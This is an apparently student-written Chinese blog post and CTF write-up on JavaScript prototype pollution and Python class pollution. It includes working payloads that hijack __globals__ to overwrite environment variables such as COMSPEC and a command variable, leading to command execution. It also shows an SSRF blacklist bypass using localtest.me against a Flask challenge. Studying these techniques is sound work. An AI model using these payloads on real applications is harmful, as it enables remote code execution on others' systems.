最近在TSCTF的比賽題中遇到了Python的原型鏈汙染題目,所以藉此機會學習一下。說到原型鏈,最多的還是在Js中,所以就一併學習一下。(因為是菜雞所以文章可能的存在一些錯誤,歡迎批評指正)。
原型是Js程式碼中物件的繼承方式。其實和別的語言的繼承方式類似,只不過這裡將父類別稱之為原型。可以在瀏覽器控制檯中測試以下程式碼:
const myObject = {
city: "BJ",
greet() {
console.log(`Greetings from ${this.city}`);
},
};
myObject.greet();
這是一個普通的存取物件屬性的範例,程式碼輸出為Greetings from BJ
。
控制檯中只輸入myObject.
就可以看到該類所有的可存取屬性:
可以看到存在一些我們沒有定義的屬性,這些屬性就是繼承自原型。
當我們存取一個物件的屬性時,js程式碼會不斷一層層向上尋找原型以及原型的原型,以此類推,最後如果找到的就可以存取,否則返回undefined。因此稱之為原型鏈。
類似於Python,所有的原型鏈存在一個最終的原型:Object.prototype。可以使用以下程式碼存取一個類的原型:
Object.getPrototypeOf(myObject);
或者
myObject.__proto__
這樣則會返回Object類。同時如果我們存取Object類的原型,則返回NULL。
還有一個問題:如果類中定義了一個原型中也存在的方法,那麼存取時遵循什麼原則呢?
執行下面的程式碼:
const myDate = new Date(1995, 11, 17);
console.log(myDate.getYear()); // 95
myDate.getYear = function () {
console.log("something else!");
};
myDate.getYear(); // 'something else!'
可以看到有限存取類中存在屬性,這也和其他語言相同。
其實Python中並沒有原型這個概念,但是原型鏈汙染實際上是一種類汙染,就是我們通過輸入從而控制Python類的繼承,從而達到遠端執行等惡意目的,所以這裡模糊將其稱為Python的原型鏈汙染。
在利用上,和flask的模板注入類似,需要使用到Python類的一些魔術方法:__str__()
、__call__()
等等。但是因為我們的輸入一般是str或者int型,所以直接在控制原始程式碼時會出現str等型別不能作為類的問題:
class Employee(): pass
a=Employee()
a.__class__='polluted'
print(a.__class__)
上面這段程式碼,嘗試將物件a的類進行汙染,但是會報錯str型別不能作為類。但是a還存在一個屬性__qualname__
,用於存取類的名稱:
class Employee(): pass
a=Employee()
a.__class__.__qualname__='polluted'
print(a.__class__)
通過這樣的操作就可以實現修改a的類。
一個標準的原型鏈汙染所用程式碼:
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'): #檢查dst物件是否有__getitem__屬性,如果存在則可以將dst作為字典存取
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict: #如果目標字典中已經存在該屬性則只複製值
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
這段程式碼的作用是將src字典中的內容遞迴地複製到dst字典中。下面通過這段程式碼進行類的汙染:
class Employee: pass # Creating an empty class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
},
"__class__":{
"__qualname__":"Polluted"
}
}
a= Employee()
merge(emp_info, a)
print(vars(a)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
print(a.__class__) #<class '__main__.Polluted'>
這段程式碼中,通過構造__class__
屬性中的__qualname__
屬性的值,並使用merge函數進行合併,因為Employee類本身具__class__
屬性,所以會被覆蓋,實現了對物件a的汙染。因為__class__
等屬性並不是Employee類本身的屬性,而是繼承的屬性,所以print(vars(a))
並沒有列印出__class__
的內容。
同樣,如果我們使用下面的exp就可以實現對父類別的汙染:
emp_info = {
"__class__":{
"__base__":{
"__qualname__":"Polluted"
}
}
}
當然,對於不可變型別Object或者str等,Python限制不能對其進行修改。
在這種情況下,如果程式碼中存在一些系統執行指令,並且merge的輸入可控,就會導致系統執行漏洞:
import os
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class exp:
def __init__(self,cmd):
self.cmd=cmd
def excute(self):
os.system(self.cmd)
a=exp('1')
b={"cmd":"ping 127.0.0.1"}
merge(b,a)
print(vars(a))
a.excute()
上面的程式碼雖然實現了命令執行,但是隻是單純地對一個普通類進行了汙染。此時如果我們能找到通向其他類的屬性鏈,就可以汙染程式碼中的任意類,包括重要的一些內建類(例如命令執行類)。
這裡其實和模板注入就非常相似了,我們都知道__globals__
屬性用於存取函數的全域性變數字典,通過這個屬性我們其實就可以實現一些變數的覆蓋。但是我們如何存取這個屬性呢,這個方法可以從任何已知函數定義的方法中進行存取。例如:
class A:
def __init__(self):
pass
instance=A()
print(instance.__init__.__globals__)
__init__
屬性是類中常見的函數,所以可以直接用它來實現存取__globas__
變數。
但是你會說,如果沒有__init__
函數怎麼辦呢?這時就需要試試了,可以從基礎類別Object中查詢其子類,總歸存在一個子類是有__init__
屬性的。payload:__class__.__base__.__subclasses__()
。
對於這段程式碼:
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
#
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess'])
subprocess.Popen('whoami', shell=True)
在這裡,通過尋找屬性鏈,使用__globals__
屬性覆蓋了subprocess的值,使其在cmd中執行了calc命令,實現了彈計算器。為什麼需要找subprocess呢,主要原因還是因為通過這個模組來尋找os模組,這個才是遠端執行的要點,如果程式碼已經import os了,那我們只需要通過__globals__
屬性存取即可。
Pydash其實和merge函數類似,將在下面TSCTF這題中給出範例。
題目給了原始碼:
from flask import Flask, request
import os
import pydash
import urllib.request
app = Flask(__name__)
os.environ['cmd'] = "ping -c 10 www.baidu.com"
black_list = ['localhost', '127.0.0.1']
class Userinfo:
def __init__(self):
pass
class comexec:
def test_ping(self):
cmd = os.getenv('cmd')
os.system(cmd)
@app.route("/define", methods=['GET'])
def define():
if request.remote_addr == '127.0.0.1':
if request.method == 'GET':
print(request.args)
usname = request.args['username']
info = request.args['info']
origin_user = request.args['origin_user']
user = {usname: info}
print(type(user))
pydash.set_with(Userinfo(), origin_user, user, lambda: {})
result = comexec().test_ping()
return "USER READY,JUST INSERT YOUR SEARCH RESULT"
else:
return "NOPE"
@app.route("/search", methods=['GET'])
def search():
if request.method == 'GET':
urls = request.args['url']
for i in black_list:
if i in urls:
return "HACKER URL!"
try:
info = urllib.request.urlopen(urls).read().decode('utf-8')
return info
except Exception as e:
print(e)
return "error"
else:
return "Method error"
@app.route("/")
def home():
return "<html> Welcome to this Challenge </html> <script>alert('focus on the
source code')</script>"
if __name__ == "__main__":
app.run(debug=True, port=37333, host='0.0.0.0')
這段程式碼兩個考點,一個是SSRF的URL黑名單繞過,一個就是Python的原型鏈洩露。
SSRF
常見的方式是8進位制、16進位制、302跳轉等繞過,這些都被遮蔽了,最後題解說是簡單的大小寫繞過。
但是做題的時候沒想到,所以使用的是localtest.me域名繞過,這是大佬買下的域名,存取時其實是重定向到本機,這樣的域名還有很多。
還有一個點就是需要url編碼避免引數的混淆解析,因為這裡SSRF的域名也需要新增引數,所以我們要進行url編碼。
原型鏈汙染
origin_user=__class__.__init__.__globals__.os.environ&info=Polluted
這裡因為已經匯入了os模組,所以可以直接通過__globals__
進行存取。